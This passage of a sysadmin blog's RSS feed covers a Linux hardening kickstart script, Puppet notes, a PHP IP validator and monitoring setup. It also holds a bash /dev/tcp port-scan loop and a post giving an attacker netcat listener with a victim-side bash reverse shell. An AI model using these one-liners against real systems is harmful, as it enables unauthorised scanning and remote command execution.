&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;${SED} -i &quot;s/\([[:blank:]]\/var/tmp.*${MNT_OPTS}\)/\1,nodev,noexec/&quot; ${FSTAB}
fi

# nodev on /var
if [ $(grep &quot;[[:blank:]]\/var[[:blank:]]&quot; ${FSTAB} | grep -c &quot;nodev&quot;) -eq 0 ]; then
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MNT_OPTS=$(grep &quot;[[:blank:]]\/var[[:blank:]]&quot; ${FSTAB} | awk &#039;{print $4}&#039;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;${SED} -i &quot;s/\([[:blank:]]\/var.*${MNT_OPTS}\)/\1,nodev/&quot; ${FSTAB}
fi

echo &quot;GEN002420 Complete&quot;

# By default&nbsp;&nbsp;/root has permissions of 750. Change this to 700
# GEN000920 (G023)
echo &quot;Locking down GEN000920&quot;
# Correct the permissions on /root to a DISA allowed 700
chmod 700 /root
echo &quot;GEN000920 Complete&quot;

# GEN002680 (G094)
# reset permissions on audit logs
echo &quot;Locking down GEN002680&quot;
chmod 700 /var/log/audit
chmod 600 /var/log/audit/*
echo &quot;GEN002680 Complete&quot;

# GEN003080
echo &quot;Locking down GEN003080&quot;
chmod 600 /etc/crontab
chmod 700 /usr/share/logwatch/scripts/logwatch.pl
echo &quot;GEN003080 Complete&quot;

# GEN003520 ( RHEL5 default anyway )
echo &quot;Locking down GEN003520&quot;
chmod 700 /var/crash
chown -R root.root /var/crash
echo &quot;GEN003520 Complete&quot;

# GEN006520
echo &quot;Locking down GEN006520&quot;
chmod 740 /etc/rc.d/init.d/iptables
chmod 740 /sbin/iptables
chmod 740 /usr/share/logwatch/scripts/services/iptables
echo &quot;GEN006520 Complete&quot;

# GEN001560
echo &quot;Locking down GEN001560&quot;
chmod -R 700 /etc/skel
echo &quot;GEN001560 Complete&quot;

# GEN005400 (G656)
# Reset the permissions to a DISA-blessed rw-r-----
echo &quot;Locking down GEN005400&quot;
chmod 640 /etc/syslog.conf
echo &quot;GEN005400 Complete&quot;

# LNX00440 (L046)
# Set mode to DISA-blessed rw-r------
echo &quot;Locking down LNX00440&quot;
chmod 640 /etc/security/access.conf
echo &quot;LNX00440 Complete&quot;

# GEN001260
echo &quot;Locking down GEN001260&quot;
perl -npe &#039;s%chmod 0664 /var/run/utmp /var/log/wtmp%chmod 0644 /var/run/utmp /var/log/wtmp%g&#039; -i /etc/rc.d/rc.sysinit
echo &quot;GEN001260&quot;

# LNX00520 (L208)
echo &quot;Locking down LNX00520&quot;
chmod 600 /etc/sysctl.conf
echo &quot;LNX00520 Complete&quot;

# Add some enhancements to sysctl
cat &lt;&lt; &#039;EOF&#039; &gt;&gt; /etc/sysctl.conf
net.ipv4.ip_forward = 0
net.ipv4.conf.all.send_redirects = 0
net.ipv4.conf.default.send_redirects = 0
net.ipv4.tcp_max_syn_backlog = 1280
net.ipv4.icmp_echo_ignore_broadcasts = 1
net.ipv4.conf.all.accept_source_route = 0
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.all.secure_redirects = 0
net.ipv4.conf.all.log_martians = 1
net.ipv4.conf.default.accept_source_route = 0
net.ipv4.conf.default.accept_redirects = 0
net.ipv4.conf.default.secure_redirects = 0
net.ipv4.icmp_echo_ignore_broadcasts = 1
net.ipv4.icmp_ignore_bogus_error_responses = 1
net.ipv4.tcp_syncookies = 1
net.ipv4.conf.all.rp_filter = 1
net.ipv4.conf.default.rp_filter = 1
net.ipv4.tcp_timestamps = 0
kernel.exec-shield = 1
kernel.randomize_va_space = 1
EOF

########## Turn off the uneeded stuff #############
# IAVA0410 (G592) and GEN003700
# Turn off unneeded services
# You may want to leave sendmail enabled but the STIG says otherwise
# I mark this as mitigated by the firewall, and not accepting outside
# connections. The NSA RHEL5 guide has a full service list 
# with recommendations
echo &quot;Locking down IAVA0410 and GEN003700&quot;
/sbin/chkconfig bluetooth off
/sbin/chkconfig irda off
/sbin/chkconfig lm_sensors off
/sbin/chkconfig portmap off
/sbin/chkconfig rawdevices off
/sbin/chkconfig rpcgssd off
/sbin/chkconfig rpcidmapd off
/sbin/chkconfig rpcsvcgssd off
/sbin/chkconfig sendmail off
/sbin/chkconfig xinetd off
/sbin/chkconfig kudzu off
echo &quot;IAVA0410 and GEN003700 Complete&quot;

############# SSH restrictions ###############
#
# GEN001120 (G500)
#
# Restricting all logins to only use key based authentication
#
# We need to restrict ssh root logins; We won&#039;t allow password based auth via ssh. 
echo &quot;Locking down GEN001120&quot;
perl -npe &#039;s/#PermitRootLogin yes/PermitRootLogin without-password/&#039; -i /etc/ssh/sshd_config
perl -npe &#039;s/.*PasswordAuthentication yes/PasswordAuthentication no/&#039; -i /etc/ssh/sshd_config
echo &quot;GEN001120 Complete&quot;

echo &quot;Removing sftp access&quot;
perl -npe &#039;s%(Subsystem\s+sftp\s+/usr/libexec/openssh/sftp-server)%#$1%&#039; -i /etc/ssh/sshd_config

#GEN005540
echo &quot;Locking down GEN005540&quot;
perl -npe &#039;s/^#Banner none/Banner \/etc\/issue/g&#039; -i /etc/ssh/sshd_config
echo &quot;GEN005540 Complete&quot;

perl -npe &#039;s/^#ServerKeyBits 1024/ServerKeyBits 2048/g&#039; -i /etc/ssh/sshd_config
perl -npe &#039;s/^#MaxAuthTries 6/MaxAuthTries 3/g&#039; -i /etc/ssh/sshd_config

################ Configure a better default firewall ###############

## Replace this with a better implementation of Mark&#039;s firewall... Things like allowing all outbound is bad...

cat &lt;&lt; &#039;EOF&#039; &gt; /etc/sysconfig/iptables
#Drop anything we aren&#039;t explicitly allowing. All outbound traffic is okay
*filter
:INPUT DROP [0:0]
:FORWARD DROP [0:0]
:OUTPUT ACCEPT [0:0]
:RH-Firewall-1-INPUT - [0:0]
-A INPUT -j RH-Firewall-1-INPUT
-A FORWARD -j RH-Firewall-1-INPUT
-A RH-Firewall-1-INPUT -i lo -j ACCEPT
-A RH-Firewall-1-INPUT -p icmp --icmp-type echo-reply -j ACCEPT
-A RH-Firewall-1-INPUT -p icmp --icmp-type destination-unreachable -j ACCEPT
-A RH-Firewall-1-INPUT -p icmp --icmp-type time-exceeded -j ACCEPT
# Accept Pings
-A RH-Firewall-1-INPUT -p icmp --icmp-type echo-request -j ACCEPT
# Log anything on eth0 claiming it&#039;s from a local or non-routable network
# If you&#039;re using one of these local networks, remove it from the list below
-A INPUT -i eth0 -s 192.168.0.0/16 -j LOG --log-prefix &quot;IP DROP SPOOF C: &quot;
-A INPUT -i eth0 -s 240.0.0.0/5 -j LOG --log-prefix &quot;IP DROP SPOOF E: &quot;
-A INPUT -i eth0 -d 127.0.0.0/8 -j LOG --log-prefix &quot;IP DROP LOOPBACK: &quot;
# Accept any established connections
-A RH-Firewall-1-INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# Accept ssh traffic. Restrict this to known ips if possible.
-A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 22 -j ACCEPT
#Log and drop everything else
-A RH-Firewall-1-INPUT -j LOG
-A RH-Firewall-1-INPUT -j DROP
COMMIT
EOF

###### Check for updates ##########
cat &lt;&lt; &#039;EOF&#039; &gt;&gt; /etc/yum.conf
exclude = *.i?86
EOF
yum -y remove *.i?86
yum -y update

echo &quot;Implementing auditing rules (based on clip rules)&quot;
cat &lt;&lt; &#039;EOF&#039; &gt;/etc/audit/audit.rules
-D
-b 16384
-f 2
-w /bin/login -p x
-w /bin/logout -p x

-a exit,always -F arch=b32 -S chmod -S fchmod -S fchmodat -F auid&gt;=500 -F auid!=4294967295 -k perm_mod
-a exit,always -F arch=b64 -S chmod -S fchmod -S fchmodat -F auid&gt;=500 -F auid!=4294967295 -k perm_mod
-a exit,always -F arch=b32 -S chown -S fchown -S fchownat -S lchown -F auid&gt;=500 -F auid!=4294967295 -k perm_mod
-a exit,always -F arch=b32 -S chown32 -S fchown32 -S lchown32 -F auid&gt;=500 -F auid!=4294967295 -k perm_mod
-a exit,always -F arch=b64 -S chown -S fchown -S fchownat -S lchown -F auid&gt;=500 -F auid!=4294967295 -k perm_mod
-a exit,always -F arch=b32 -S setxattr -S lsetxattr -S fsetxattr -S removexattr -S lremovexattr -S fremovexattr -F auid&gt;=500 -F auid!=4294967295 -k perm_mod

-a exit,always -F arch=b64 -S setxattr -S lsetxattr -S fsetxattr -S removexattr -S lremovexattr -S fremovexattr -F auid&gt;=500 -F auid!=4294967295 -k perm_mod
-a exit,always -F arch=b32 -S mknod -S pipe -S mkdir -S creat -S open -S openat -S truncate -S ftruncate -S truncate64 -S ftruncate64 -F exit=-EACCES -F auid&gt;=500 -F auid!=4294967295 -k access
-a exit,always -F arch=b32 -S mknod -S pipe -S mkdir -S creat -S open -S openat -S truncate -S ftruncate -S truncate64 -S ftruncate64 -F exit=-EPERM -F auid&gt;=500 -F auid!=4294967295 -k access
-a exit,always -F arch=b64 -S mknod -S pipe -S mkdir -S creat -S open -S openat -S truncate -S ftruncate -F exit=-EACCES -F auid&gt;=500 -F auid!=4294967295 -k access
-a exit,always -F arch=b64 -S mknod -S pipe -S mkdir -S creat -S open -S openat -S truncate -S ftruncate -F exit=-EPERM -F auid&gt;=500 -F auid!=4294967295 -k access

-w /usr/sbin/pwck -k priv-command
-w /bin/chgrp -k priv-command
-w /usr/bin/newgrp -k priv-command
-w /usr/sbin/groupadd -k priv-command
-w /usr/sbin/groupmod -k priv-command
-w /usr/sbin/groupdel -k priv-command
-w /usr/sbin/useradd -k priv-command
-w /usr/sbin/userdel -k priv-command
-w /usr/sbin/usermod -k priv-command
-w /usr/bin/chage -k priv-command
-w /usr/bin/setfacl -k priv-command
-w /usr/bin/chacll -k priv-command

-a exit,always -F arch=b32 -S unlink -S unlinkat -S rename -S renameat -S rmdir -F auid&gt;=500 -F auid!=4294967295 -k delete
-a exit,always -F arch=b64 -S unlink -S unlinkat -S rename -S renameat -S rmdir -F auid&gt;=500 -F auid!=4294967295 -k delete

-a exit,always -F arch=b32 -S link -S symlink -S acct -F auid&gt;=500 -F auid!=4294967295 -k created
-a exit,always -F arch=b64 -S link -S symlink -S acct -F auid&gt;=500 -F auid!=4294967295 -k created

-w /var/log/audit/audit.log -k admin-actions
-w /var/log/audit/audit[1-4].log -k admin-actions
-w /var/log/messages -k admin-actions
-w /var/log/lastlog -k admin-actions
-w /var/log/faillog -k admin-actions

-w /etc/group -p wa -k identity
-w /etc/passwd -p wa -k identity
-w /etc/gshadow -p wa -k identity
-w /etc/shadow -p wa -k identity
-w /etc/security/opasswd -p wa -k identity

-a always,exit -F arch=b32 -S sethostname -S setdomainname -k system-locale
-a always,exit -F arch=b64 -S sethostname -S setdomainname -k system-locale
-w /etc/issue -p wa -k system-locale
-w /etc/issue.net -p wa -k system-locale
-w /etc/hosts -p wa -k system-locale
-w /etc/sysconfig/network -p wa -k system-locale

-w /etc/ld.so.conf -p wa -k admin-actions
-w /etc/ld.so.conf.d -p wa -k admin-actions
-w /etc/ssh/sshd_config -k admin-actions
-w /etc/login.defs -k admin-actions
-w /etc/rc.d/init.d -k admin-actions
-w /etc/inittab -p wa -k admin-actions
-w /var/run/utmp -k admin-actions
-w /var/run/wtmp -k admin-actions

-a always,exit -F arch=b32 -S adjtimex -S settimeofday -S stime -k time-change
-a always,exit -F arch=b64 -S adjtimex -S settimeofday -k time-change
-a always,exit -F arch=b32 -S clock_settime -k time-change
-a always,exit -F arch=b64 -S clock_settime -k time-change
-w /etc/localtime -p wa -k time-change

-a always,exit -F path=/bin/ping -F perm=x -F auid&gt;=500 -F auid!=4294967295 -k privileged
-a always,exit -F path=/bin/umount -F perm=x -F auid&gt;=500 -F auid!=4294967295 -k privileged
-a always,exit -F path=/bin/mount -F perm=x -F auid&gt;=500 -F auid!=4294967295 -k privileged
-a always,exit -F path=/bin/ping6 -F perm=x -F auid&gt;=500 -F auid!=4294967295 -k privileged
-a always,exit -F path=/bin/su -F perm=x -F auid&gt;=500 -F auid!=4294967295 -k privileged

-a exit,always -F arch=b32 -S mount -S chroot -S umount2 -S umount -S kill -F auid!=4294967295 -k admin-actions
-a exit,always -F arch=b64 -S mount -S chroot -S umount2 -S kill -F auid!=4294967295 -k admin-actions

-a exit,always -F arch=b32 -S reboot -S sched_setparam -S sched_setscheduler -S setdomainname -S setrlimit -S swapon -k admin-actions
-a exit,always -F arch=b64 -S reboot -S sched_setparam -S sched_setscheduler -S setdomainname -S setrlimit -S swapon -k admin-actions
-w /etc/audit/auditd.conf -p wa -k security-actions
-w /etc/audit/audit.rules -p wa -k security-actions
-w /etc/selinux/config -p wa -k security-actions
-w /etc/sudoers -p wa -k security-actions

-a always,exit -F arch=b32 -S ptrace -k tracing
-a always,exit -F arch=b64 -S ptrace -k tracing
-a always,exit -F arch=b32 -S personality -k bypass
-a always,exit -F arch=b64 -S personality -k bypass

-w /sbin/insmod -p x -k modules
-w /sbin/rmmod -p x -k modules
-w /sbin/modprobe -p x -k modules

-w /etc/pam.d -k admin-actions
-a exit,always -F arch=b32 -S init_module -S delete_module -k security-actions
-a exit,always -F arch=b64 -S init_module -S delete_module -k security-actions
-w /bin/su
-e 2
EOF

cat &lt;&lt; &#039;EOF&#039; &gt;/etc/audit/auditd.conf
log_file = /var/log/audit/audit.log
log_format = RAW
log_group = root
priority_boost = 3
flush = INCREMENTAL
freq = 20
name_format = NONE
max_log_file = 0
max_log_file_action = IGNORE
space_left = 75
space_left_action = SYSLOG
admin_space_left = 50
admin_space_left_action = HALT
disk_full_action = HALT
disk_error_action = HALT
EOF

cat &lt;&lt; &#039;EOF&#039; &gt;/etc/logrotate.d/auditd
/var/log/audit/audit.log {
&nbsp;&nbsp;&nbsp;&nbsp;daily
&nbsp;&nbsp;&nbsp;&nbsp;notifempty
&nbsp;&nbsp;&nbsp;&nbsp;missingok
&nbsp;&nbsp;&nbsp;&nbsp;compress
&nbsp;&nbsp;&nbsp;&nbsp;rotate 90
&nbsp;&nbsp;&nbsp;&nbsp;postrotate
&nbsp;&nbsp;&nbsp;&nbsp;/sbin/service auditd restart 2&gt; /dev/null &gt; /dev/null || true
&nbsp;&nbsp;&nbsp;&nbsp;endscript
}
EOF

## (GEN001280: CAT III) (Previously - G042) The SA will ensure all manual page
## files (i.e.,files in the man and cat directories) have permissions of 644,
## or more restrictive.
find /usr/share/man -type f -not -perm 644 -exec chmod 644 {} \;

## (GEN001780: CAT III) (Previously - G112) The SA will ensure global
## initialization files contain the command mesg ?n.
echo &quot;mesg n&quot; &gt;&gt;/etc/profile
echo &quot;mesg n&quot; &gt;&gt;/etc/bashrc

## (GEN001720: CAT II) The SA will ensure global initialization files have
## permissions of 644, or more restrictive.
## (GEN001740: CAT II) The SA will ensure the owner of global initialization
## files is root.
## (GEN001760: CAT II) The SA will ensure the group owner of global
## initialization files is root, sys, bin, other, or the system default.

chown root:root /etc/profile /etc/bashrc /etc/environment
chmod 644 /etc/profile /etc/bashrc /etc/environment

## (GEN001800: CAT II) (Previously - G038) The SA will ensure all
## default/skeleton dot files have permissions of 644, or more restrictive.
find /etc/skel -type f -exec chmod 644 &#039;{}&#039; \;

echo &quot;report = true&quot; &gt;&gt;/etc/puppet/puppet.conf

## Wireless for a server? Really?
echo &quot;Getting rid of wireless drivers that may be loaded&quot;
for i in $(find /lib/modules/`uname -r`/kernel/drivers/net/wireless -name &quot;*.ko&quot; -type f) ; do echo blacklist $i &gt;&gt; /etc/modprobe.d/blacklist-wireless ; done

#end raw

$SNIPPET(&#039;post_anamon&#039;)
$kickstart_done

</code></pre></p>
<p><strong>Step 3. Puppetize</strong></p>
<p>Getting puppet installed on CentOS 6.2 is pretty straight forward. I added the puppet repo from puppetlabs and the passenger repo as below:</p>
<p><pre><code>
rpm --import http://passenger.stealthymonkeys.com/RPM-GPG-KEY-stealthymonkeys.asc
yum install http://passenger.stealthymonkeys.com/rhel/6/passenger-release.noarch.rpm
</code></pre></p>
<p>Then installed puppet, puppet dashboard, and passenger (as an apache module). It should be noted that puppet is very finicky in regards to DNS and the SSL certs. To help ease things, I decided to have cobbler manage the DNS zone, and created a zone template that had the puppet related hosts.</p>
<p>I&#8217;m going to try to yank the kickstart stuff back into puppet classes for secstate/openscap.</p>
<p>Note to self: This might be interesting&#8230; self-classifying nodes&#8230;. http://nuknad.com/2011/02/11/self-classifying-puppet-nodes/</p>
<p><strong>Step 4. Secstate</strong></p>
<p>Coming eventually&#8230;</p>
<p>Random urls: http://pvrabec.livejournal.com/</p>
<p><strong>Automation&#8230;Automation&#8230;Automation&#8230;</strong></p>
<p>I&#8217;ve also been looking at FreeIPA. It&#8217;s very nice for centralizing management of AAA for linux systems. In the &#8220;one ring to rule them all&#8221; spirit of automating as much as possible&#8230;</p>
<p>FreeIPA is slated to support storing MAC addresses soon. When it does, write a script to pull MAC/IP/HOSTNAMES out of ldap, schlep them into dhcp using omshell (http://www.planetdevops.net/?cat=302). Then you can use FreeIPA to configure DHCPD instead of using cobbler. Neat. Even better, while you&#8217;re at it you could provision from a single place (freeIPA), and push to cobbler for provisioning.<br />
</p>
]]></content:encoded>
			<wfw:commentRss>http://www.control-alt-del.org/2011/12/14/building-secure-linux-systems/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Port scanning without a port scanner using bash</title>
		<link>http://www.control-alt-del.org/2011/11/25/port-scanning-without-a-port-scanner-using-bash/</link>
		<comments>http://www.control-alt-del.org/2011/11/25/port-scanning-without-a-port-scanner-using-bash/#comments</comments>
		<pubDate>Fri, 25 Nov 2011 22:11:04 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.control-alt-del.org/?p=403</guid>
		<description><![CDATA[Neat trick for port scanning without a port scanner on Linux (may not work on all distros) for i in $(seq 1 1 1024); do echo &#62; /dev/tcp/10.10.10.10/$i; [ $? == 0 ] &#38;&#38; echo $i &#62;&#62;/tmp/open.txt; done]]></description>
			<content:encoded><![CDATA[<p>Neat trick for port scanning without a port scanner on Linux (may not work on all distros)<br />
<pre><code>
for i in $(seq 1 1 1024); 
do 
echo &gt; /dev/tcp/10.10.10.10/$i; 
[ $? == 0 ] &amp;&amp; echo $i &gt;&gt;/tmp/open.txt; 
done
</code></pre><br />
</p>
]]></content:encoded>
			<wfw:commentRss>http://www.control-alt-del.org/2011/11/25/port-scanning-without-a-port-scanner-using-bash/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Remote shell access without installing any tools</title>
		<link>http://www.control-alt-del.org/2011/11/25/remote-shell-access-without-installing-any-tools/</link>
		<comments>http://www.control-alt-del.org/2011/11/25/remote-shell-access-without-installing-any-tools/#comments</comments>
		<pubDate>Fri, 25 Nov 2011 20:50:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.control-alt-del.org/?p=397</guid>
		<description><![CDATA[Here&#8217;s a method for opening up a TCP connection from one host to another without needing to install any tools. From the attacker machine, wait for a connection nc -nlp 12345 From the victim /bin/bash -i &#62; /dev/tcp/10.10.10.10/12345 0&#60;&#38;1 2&#62;&#38;1 &#8230; <a href="http://www.control-alt-del.org/2011/11/25/remote-shell-access-without-installing-any-tools/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Here&#8217;s a method for opening up a TCP connection from one host to another without needing to install any tools.</p>
<p>From the attacker machine, wait for a connection<br />
<pre><code>
nc -nlp 12345
</code></pre></p>
<p>From the victim<br />
<pre><code>
/bin/bash -i &gt; /dev/tcp/10.10.10.10/12345 0&lt;&amp;1 2&gt;&amp;1
</code></pre></p>
<p>The victim code will open up a connection the the attacker, allowing the attacker to run whatever bash commands he wants. All this without installing anything on the victim. Spooky.<br />
</p>
]]></content:encoded>
			<wfw:commentRss>http://www.control-alt-del.org/2011/11/25/remote-shell-access-without-installing-any-tools/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Validating IP addresses</title>
		<link>http://www.control-alt-del.org/2011/11/14/validating-ip-addresses/</link>
		<comments>http://www.control-alt-del.org/2011/11/14/validating-ip-addresses/#comments</comments>
		<pubDate>Mon, 14 Nov 2011 14:52:21 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Code]]></category>

		<guid isPermaLink="false">http://www.control-alt-del.org/?p=388</guid>
		<description><![CDATA[Here&#8217;s a php example: function validateIp($ip) { /* &#160;&#160;Regex based on following list of bogons: &#160;&#160;0.0.0.0/8 &#160;&#160;5.0.0.0/8 &#160;&#160;10.0.0.0/8 &#160;&#160;23.0.0.0/8 &#160;&#160;36.0.0.0/8 &#160;&#160;37.0.0.0/8 &#160;&#160;39.0.0.0/8 &#160;&#160;42.0.0.0/8 &#160;&#160;49.0.0.0/8 &#160;&#160;100.0.0.0/8 &#160;&#160;101.0.0.0/8 &#160;&#160;102.0.0.0/8 &#160;&#160;103.0.0.0/8 &#160;&#160;104.0.0.0/8 &#160;&#160;105.0.0.0/8 &#160;&#160;106.0.0.0/8 &#160;&#160;127.0.0.0/8 &#160;&#160;169.254.0.0/16 &#160;&#160;172.16.0.0/12 &#160;&#160;179.0.0.0/8 &#160;&#160;185.0.0.0/8 &#160;&#160;192.0.0.0/24 &#160;&#160;192.0.2.0/24 &#160;&#160;192.168.0.0/16 &#160;&#160;198.18.0.0/15 &#8230; <a href="http://www.control-alt-del.org/2011/11/14/validating-ip-addresses/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Here&#8217;s a php example:</p>
<p><pre><code class=prettyprint>
function validateIp($ip) {
/*
&nbsp;&nbsp;Regex based on following list of bogons:
&nbsp;&nbsp;0.0.0.0/8
&nbsp;&nbsp;5.0.0.0/8
&nbsp;&nbsp;10.0.0.0/8
&nbsp;&nbsp;23.0.0.0/8
&nbsp;&nbsp;36.0.0.0/8
&nbsp;&nbsp;37.0.0.0/8
&nbsp;&nbsp;39.0.0.0/8
&nbsp;&nbsp;42.0.0.0/8
&nbsp;&nbsp;49.0.0.0/8
&nbsp;&nbsp;100.0.0.0/8
&nbsp;&nbsp;101.0.0.0/8
&nbsp;&nbsp;102.0.0.0/8
&nbsp;&nbsp;103.0.0.0/8
&nbsp;&nbsp;104.0.0.0/8
&nbsp;&nbsp;105.0.0.0/8
&nbsp;&nbsp;106.0.0.0/8
&nbsp;&nbsp;127.0.0.0/8
&nbsp;&nbsp;169.254.0.0/16
&nbsp;&nbsp;172.16.0.0/12
&nbsp;&nbsp;179.0.0.0/8
&nbsp;&nbsp;185.0.0.0/8
&nbsp;&nbsp;192.0.0.0/24
&nbsp;&nbsp;192.0.2.0/24
&nbsp;&nbsp;192.168.0.0/16
&nbsp;&nbsp;198.18.0.0/15
&nbsp;&nbsp;198.51.100.0/24
&nbsp;&nbsp;203.0.113.0/24
&nbsp;&nbsp;224.0.0.0/3
 */
$regex = &#039;/^
&nbsp;&nbsp;(?:
&nbsp;&nbsp;&nbsp;&nbsp;0 |
&nbsp;&nbsp;&nbsp;&nbsp;5\. |
&nbsp;&nbsp;&nbsp;&nbsp;10\. |
&nbsp;&nbsp;&nbsp;&nbsp;23\. |
&nbsp;&nbsp;&nbsp;&nbsp;3[679]\. |
&nbsp;&nbsp;&nbsp;&nbsp;42 |
&nbsp;&nbsp;&nbsp;&nbsp;49 |
&nbsp;&nbsp;&nbsp;&nbsp;10[0-6] |
&nbsp;&nbsp;&nbsp;&nbsp;127 |
&nbsp;&nbsp;&nbsp;&nbsp;179 |
&nbsp;&nbsp;&nbsp;&nbsp;185 |
&nbsp;&nbsp;&nbsp;&nbsp;22[4-5] |
&nbsp;&nbsp;&nbsp;&nbsp;2(?:[34][0-9]|5[0-5]) |
&nbsp;&nbsp;&nbsp;&nbsp;169\.254 |
&nbsp;&nbsp;&nbsp;&nbsp;172\.(?:1[6-9]|[23][0-9])\. |
&nbsp;&nbsp;&nbsp;&nbsp;192\.0\.[02]\. |
&nbsp;&nbsp;&nbsp;&nbsp;192\.168\. |
&nbsp;&nbsp;&nbsp;&nbsp;198\.(?:1[89]|51)\. |
&nbsp;&nbsp;&nbsp;&nbsp;203\.0\.113
&nbsp;&nbsp;)
/x&#039;;

return preg_match(
&nbsp;&nbsp;&#039;/^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/&#039;, $ip) == 1 &amp;&amp; 
&nbsp;&nbsp;preg_match($regex, $ip) == 0;
}
</code></pre><br />
</p>
]]></content:encoded>
			<wfw:commentRss>http://www.control-alt-del.org/2011/11/14/validating-ip-addresses/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Monitoring with Reconnoiter &#8211; Part Deux</title>
		<link>http://www.control-alt-del.org/2011/10/31/monitoring-with-reconnoiter-part-deux/</link>
		<comments>http://www.control-alt-del.org/2011/10/31/monitoring-with-reconnoiter-part-deux/#comments</comments>
		<pubDate>Tue, 01 Nov 2011 02:36:27 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Code]]></category>

		<guid isPermaLink="false">http://www.control-alt-del.org/?p=378</guid>
		<description><![CDATA[I&#8217;ve added a few more bits to my monitoring setup. What we have so far (see my previous post here): A system that can be configured to send alerts on metric threshold changes Sends an email Will only start alerting &#8230; <a href="http://www.control-alt-del.org/2011/10/31/monitoring-with-reconnoiter-part-deux/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve added a few more bits to my monitoring setup.</p>
<p>What we have so far (see my previous post <a href="http://www.control-alt-del.org/2011/10/25/monitoring-with-reconnoiter/">here</a>):</p>
<ul>
<li>A system that can be configured to send alerts on metric threshold changes </li>
<li>Sends an email</li>
<li>Will only start alerting after a per-threshold grace period (to allow the check to recover on it&#8217;s own</li>
<li>Will keep nagging periodically based on a configuration setting until the problem gets fixed. (or someone kills the alerting process&#8230;) <img src='http://www.control-alt-del.org/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </li>
</ul>
<p>To be able to have a proper monitoring and alerting system, we need to be able to track things like </p>
<ul>
<li>checks becoming unavailable (eg: server being checked crashed)</li>
<li>checks returning bad state (eg: web server returning non-200)</li>
</ul>
<p>The Reconnoiter IEP already has a stream data that tracks these things for us, so we can just go ahead and use that. First, we&#8217;ll need to add a query to our stratcon.conf</p>
<p><pre><code class=prettyprint>
 &lt;query id=&quot;e18f052b-d0c4-4b0b-8a4b-85a008f191ab&quot; topic=&quot;availability&quot;&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;epl&gt;&lt;![CDATA[
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;select
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ns.availability as availability,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ns.duration as duration,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ns.noit as noit,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ns.prefix as prefix,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ns.state as state,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ns.status as status,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ns.time as time,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ns.uuid as uuid,
